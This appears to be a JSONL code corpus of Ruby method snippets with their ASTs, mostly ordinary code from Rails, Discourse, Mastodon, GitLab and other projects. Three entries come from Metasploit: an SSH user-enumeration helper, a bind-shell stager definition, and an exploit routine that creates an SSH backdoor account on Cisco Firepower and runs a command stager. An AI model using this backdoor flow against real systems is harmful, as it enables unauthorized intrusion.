{"repo_name":"discourse","file_path":"./repos/discourse/app/models/user.rb","start_line":1973,"raw_source":"def ensure_in_trust_level_group\n    Group.user_trust_level_change!(id, trust_level)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_in_trust_level_group\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"user_trust_level_change!\",{\"type\":\"send\",\"children\":[null,\"id\"]},{\"type\":\"send\",\"children\":[null,\"trust_level\"]}]}]}","id":"52882552-46b2-4192-beb8-aa8edaef58a9"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/admin/api_controller.rb","start_line":9,"raw_source":"def index\n    offset = (params[:offset] || 0).to_i\n    limit = fetch_limit_from_params(default: INDEX_LIMIT, max: INDEX_LIMIT)\n\n    keys =\n      ApiKey\n        .where(hidden: false)\n        .includes(:user)\n        .includes(:created_by)\n        .order(\"revoked_at DESC NULLS FIRST, created_at DESC\")\n        .offset(offset)\n        .limit(limit)\n\n    render_json_dump(\n      keys: serialize_data(keys, BasicApiKeySerializer),\n      offset: offset,\n      limit: limit,\n    )\n  end","complexity_score":20.2,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"offset\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"offset\"]}]},{\"type\":\"int\",\"children\":[0]}]}]},\"to_i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"limit\",{\"type\":\"send\",\"children\":[null,\"fetch_limit_from_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"const\",\"children\":[null,\"INDEX_LIMIT\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max\"]},{\"type\":\"const\",\"children\":[null,\"INDEX_LIMIT\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"keys\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ApiKey\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hidden\"]},{\"type\":\"false\",\"children\":[]}]}]}]},\"includes\",{\"type\":\"sym\",\"children\":[\"user\"]}]},\"includes\",{\"type\":\"sym\",\"children\":[\"created_by\"]}]},\"order\",{\"type\":\"str\",\"children\":[\"revoked_at DESC NULLS FIRST, created_at DESC\"]}]},\"offset\",{\"type\":\"lvar\",\"children\":[\"offset\"]}]},\"limit\",{\"type\":\"lvar\",\"children\":[\"limit\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render_json_dump\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"keys\"]},{\"type\":\"send\",\"children\":[null,\"serialize_data\",{\"type\":\"lvar\",\"children\":[\"keys\"]},{\"type\":\"const\",\"children\":[null,\"BasicApiKeySerializer\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"offset\"]},{\"type\":\"lvar\",\"children\":[\"offset\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"lvar\",\"children\":[\"limit\"]}]}]}]}]}]}","id":"7951d799-d13e-4e7c-bede-efd94d9bd98f"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/custom_filter.rb","start_line":92,"raw_source":"def self.apply_cached_filters(cached_filters, status)\n    cached_filters.filter_map do |filter, rules|\n      match = rules[:keywords].match(status.proper.searchable_text) if rules[:keywords].present?\n      keyword_matches = [match.to_s] unless match.nil?\n\n      status_matches = [status.id, status.reblog_of_id].compact & rules[:status_ids] if rules[:status_ids].present?\n\n      next if keyword_matches.blank? && status_matches.blank?\n\n      FilterResultPresenter.new(filter: filter, keyword_matches: keyword_matches, status_matches: status_matches)\n    end\n  end","complexity_score":37.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"apply_cached_filters\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cached_filters\"]},{\"type\":\"arg\",\"children\":[\"status\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cached_filters\"]},\"filter_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filter\"]},{\"type\":\"arg\",\"children\":[\"rules\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rules\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"keywords\"]}]},\"present?\"]},{\"type\":\"lvasgn\",\"children\":[\"match\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rules\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"keywords\"]}]},\"match\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"proper\"]},\"searchable_text\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"nil?\"]},null,{\"type\":\"lvasgn\",\"children\":[\"keyword_matches\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"to_s\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rules\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status_ids\"]}]},\"present?\"]},{\"type\":\"lvasgn\",\"children\":[\"status_matches\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"reblog_of_id\"]}]},\"compact\"]},\"&\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rules\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status_ids\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keyword_matches\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status_matches\"]},\"blank?\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FilterResultPresenter\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filter\"]},{\"type\":\"lvar\",\"children\":[\"filter\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"keyword_matches\"]},{\"type\":\"lvar\",\"children\":[\"keyword_matches\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status_matches\"]},{\"type\":\"lvar\",\"children\":[\"status_matches\"]}]}]}]}]}]}]}","id":"9d949677-d6cf-48fc-bef5-7f08372d3dd5"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/whatsapp/populate_template_parameters_service.rb","start_line":69,"raw_source":"def build_currency_parameter(value)\n    {\n      type: 'currency',\n      currency: {\n        fallback_value: value['fallback_value'],\n        code: value['code'],\n        amount_1000: value['amount_1000']\n      }\n    }\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"build_currency_parameter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"currency\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"currency\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fallback_value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]\",{\"type\":\"str\",\"children\":[\"fallback_value\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]\",{\"type\":\"str\",\"children\":[\"code\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"amount_1000\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]\",{\"type\":\"str\",\"children\":[\"amount_1000\"]}]}]}]}]}]}]}","id":"23020cea-764b-4a32-bc28-f67f0e089972"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/associations/collection_association.rb","start_line":94,"raw_source":"def find(*args)\n        if options[:inverse_of] && loaded?\n          args_flatten = args.flatten\n          model = scope.model\n\n          if args_flatten.blank?\n            error_message = \"Couldn't find #{model.name} without an ID\"\n            raise RecordNotFound.new(error_message, model.name, model.primary_key, args)\n          end\n\n          result = find_by_scan(*args)\n\n          result_size = Array(result).size\n          if !result || result_size != args_flatten.size\n            scope.raise_record_not_found_exception!(args_flatten, result_size, args_flatten.size)\n          else\n            result\n          end\n        else\n          scope.find(*args)\n        end\n      end","complexity_score":42.9,"ast_json":"{\"type\":\"def\",\"children\":[\"find\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"inverse_of\"]}]},{\"type\":\"send\",\"children\":[null,\"loaded?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"args_flatten\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"flatten\"]}]},{\"type\":\"lvasgn\",\"children\":[\"model\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\"]},\"model\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args_flatten\"]},\"blank?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error_message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Couldn't find \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" without an ID\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RecordNotFound\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"error_message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"primary_key\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"find_by_scan\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result_size\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"result\"]}]},\"size\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result_size\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args_flatten\"]},\"size\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\"]},\"raise_record_not_found_exception!\",{\"type\":\"lvar\",\"children\":[\"args_flatten\"]},{\"type\":\"lvar\",\"children\":[\"result_size\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args_flatten\"]},\"size\"]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\"]},\"find\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]}","id":"3a9b4b0a-01a4-4320-b11a-f20fda32a051"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/migration/add_reference.rb","start_line":55,"raw_source":"def first_argument(node)\n          node.children[2]\n        end","complexity_score":2.5,"ast_json":"{\"type\":\"def\",\"children\":[\"first_argument\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"children\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]}","id":"d2e59487-184d-4891-bf2f-219892b50e7f"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/arel/nodes/sql_literal.rb","start_line":13,"raw_source":"def initialize(string, retryable: false)\n        @retryable = retryable\n        super(string)\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"string\"]},{\"type\":\"kwoptarg\",\"children\":[\"retryable\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@retryable\",{\"type\":\"lvar\",\"children\":[\"retryable\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string\"]}]}]}]}","id":"5e3e1865-d704-41a3-b6ae-ed8cbe5e2527"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/ssh/ssh_enumusers.rb","start_line":242,"raw_source":"def attempt_user(user, ip)\n    attempt_num = 0\n    ret = nil\n\n    while (attempt_num <= retry_num) && (ret.nil? || (ret == :connection_error))\n      if attempt_num > 0\n        Rex.sleep(2**attempt_num)\n        vprint_status(\"#{peer(ip)} Retrying '#{user}' due to connection error\")\n      end\n\n      ret = check_user(ip, user, rport)\n      attempt_num += 1\n    end\n\n    ret\n  end","complexity_score":25.9,"ast_json":"{\"type\":\"def\",\"children\":[\"attempt_user\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attempt_num\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"ret\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"while\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attempt_num\"]},\"<=\",{\"type\":\"send\",\"children\":[null,\"retry_num\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]},\"==\",{\"type\":\"sym\",\"children\":[\"connection_error\"]}]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attempt_num\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"sleep\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[2]},\"**\",{\"type\":\"lvar\",\"children\":[\"attempt_num\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\",{\"type\":\"lvar\",\"children\":[\"ip\"]}]}]},{\"type\":\"str\",\"children\":[\" Retrying '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\"' due to connection error\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"ret\",{\"type\":\"send\",\"children\":[null,\"check_user\",{\"type\":\"lvar\",\"children\":[\"ip\"]},{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attempt_num\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvar\",\"children\":[\"ret\"]}]}]}","id":"5039bc75-7aab-48f9-8526-6d6f4ba3170b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb","start_line":16,"raw_source":"def initialize(info = {})\n    super(\n      merge_info(\n        info,\n        'Name' => 'Windows x64 IPv6 Bind TCP Stager with UUID Support',\n        'Description' => 'Listen for an IPv6 connection with UUID Support (Windows x64)',\n        'Author' => [ 'sf', 'OJ Reeves' ],\n        'License' => MSF_LICENSE,\n        'Platform' => 'win',\n        'Arch' => ARCH_X64,\n        'Handler' => Msf::Handler::BindTcp,\n        'Convention' => 'sockrdi',\n        'Stager' => { 'RequiresMidstager' => false }\n      )\n    )\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Windows x64 IPv6 Bind TCP Stager with UUID Support\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Listen for an IPv6 connection with UUID Support (Windows x64)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"sf\"]},{\"type\":\"str\",\"children\":[\"OJ Reeves\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Handler\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Handler\"]},\"BindTcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Convention\"]},{\"type\":\"str\",\"children\":[\"sockrdi\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stager\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RequiresMidstager\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}]}","id":"fa087779-98f9-47bc-b6d7-bfb2c503568a"}
{"repo_name":"forem","file_path":"./repos/forem/app/workers/spam/reaction_ring_detection_worker.rb","start_line":10,"raw_source":"def perform(user_id)\n      return unless user_id\n\n      user = User.find_by(id: user_id)\n      return unless user\n\n      # Only run detection for users who meet the threshold\n      return unless should_analyze_user?(user)\n\n      # Run the ring detection\n      detector = Spam::ReactionRingDetector.new(user_id)\n      ring_detected = detector.call\n\n      if ring_detected\n        Rails.logger.info \"Reaction ring detected for user #{user_id}\"\n        \n        # Send notification to moderators if needed\n        notify_moderators(user_id) if should_notify_moderators?\n      end\n    end","complexity_score":17.3,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_id\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"user_id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"should_analyze_user?\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"detector\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spam\"]},\"ReactionRingDetector\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"user_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ring_detected\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"detector\"]},\"call\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ring_detected\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Reaction ring detected for user \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"should_notify_moderators?\"]},{\"type\":\"send\",\"children\":[null,\"notify_moderators\",{\"type\":\"lvar\",\"children\":[\"user_id\"]}]},null]}]},null]}]}]}","id":"458b3d0c-1c0f-423d-91fd-e48da2b5f00b"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_helper/form_with_test.rb","start_line":36,"raw_source":"def hidden_fields(options = {})\n    method = options[:method]\n    skip_enforcing_utf8 = options.fetch(:skip_enforcing_utf8, false)\n\n    (+\"\").tap do |txt|\n      unless skip_enforcing_utf8\n        txt << %{<input name=\"utf8\" type=\"hidden\" value=\"&#x2713;\" autocomplete=\"off\" />}\n      end\n\n      if method && !%w(get post).include?(method.to_s)\n        txt << %{<input name=\"_method\" type=\"hidden\" value=\"#{method}\" autocomplete=\"off\" />}\n      end\n    end\n  end","complexity_score":18.9,"ast_json":"{\"type\":\"def\",\"children\":[\"hidden_fields\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"method\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"method\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"skip_enforcing_utf8\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"skip_enforcing_utf8\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"+@\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"txt\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"skip_enforcing_utf8\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"txt\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<input name=\\\"utf8\\\" type=\\\"hidden\\\" value=\\\"&#x2713;\\\" autocomplete=\\\"off\\\" />\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"get\"]},{\"type\":\"str\",\"children\":[\"post\"]}]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]},\"to_s\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"txt\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<input name=\\\"_method\\\" type=\\\"hidden\\\" value=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]}]},{\"type\":\"str\",\"children\":[\"\\\" autocomplete=\\\"off\\\" />\"]}]}]},null]}]}]}]}]}","id":"afe8a2d9-f6fd-4aad-82f8-b1e7e3a1db90"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/cisco_firepower_useradd.rb","start_line":251,"raw_source":"def exploit\n    # To exploit the useradd vuln, we need to login first.\n    sid = do_login\n    return unless sid\n\n    # After login, we can call the useradd utility to create a backdoor user\n    new_user = generate_new_username\n    new_pass = generate_new_password\n    create_ssh_backdoor(sid, new_user, new_pass)\n\n    # Log into the SSH backdoor account\n    init_ssh_session(new_user, new_pass)\n\n    begin\n      execute_cmdstager({ :linemax => 500 })\n    ensure\n      @ssh_socket.close\n    end\n  end","complexity_score":11.3,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sid\",{\"type\":\"send\",\"children\":[null,\"do_login\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sid\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"new_user\",{\"type\":\"send\",\"children\":[null,\"generate_new_username\"]}]},{\"type\":\"lvasgn\",\"children\":[\"new_pass\",{\"type\":\"send\",\"children\":[null,\"generate_new_password\"]}]},{\"type\":\"send\",\"children\":[null,\"create_ssh_backdoor\",{\"type\":\"lvar\",\"children\":[\"sid\"]},{\"type\":\"lvar\",\"children\":[\"new_user\"]},{\"type\":\"lvar\",\"children\":[\"new_pass\"]}]},{\"type\":\"send\",\"children\":[null,\"init_ssh_session\",{\"type\":\"lvar\",\"children\":[\"new_user\"]},{\"type\":\"lvar\",\"children\":[\"new_pass\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"ensure\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute_cmdstager\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"linemax\"]},{\"type\":\"int\",\"children\":[500]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ssh_socket\"]},\"close\"]}]}]}]}]}","id":"5ff83b80-f2c3-439a-9bb7-032f918764df"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/merge_request_cleanup_refs_worker.rb","start_line":59,"raw_source":"def merge_request\n    strong_memoize(:merge_request) do\n      merge_request_cleanup_schedule&.merge_request\n    end\n  end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"merge_request\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"merge_request\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request_cleanup_schedule\"]},\"merge_request\"]}]}]}","id":"24006993-8043-4d4a-9309-a1e0341a21bc"}
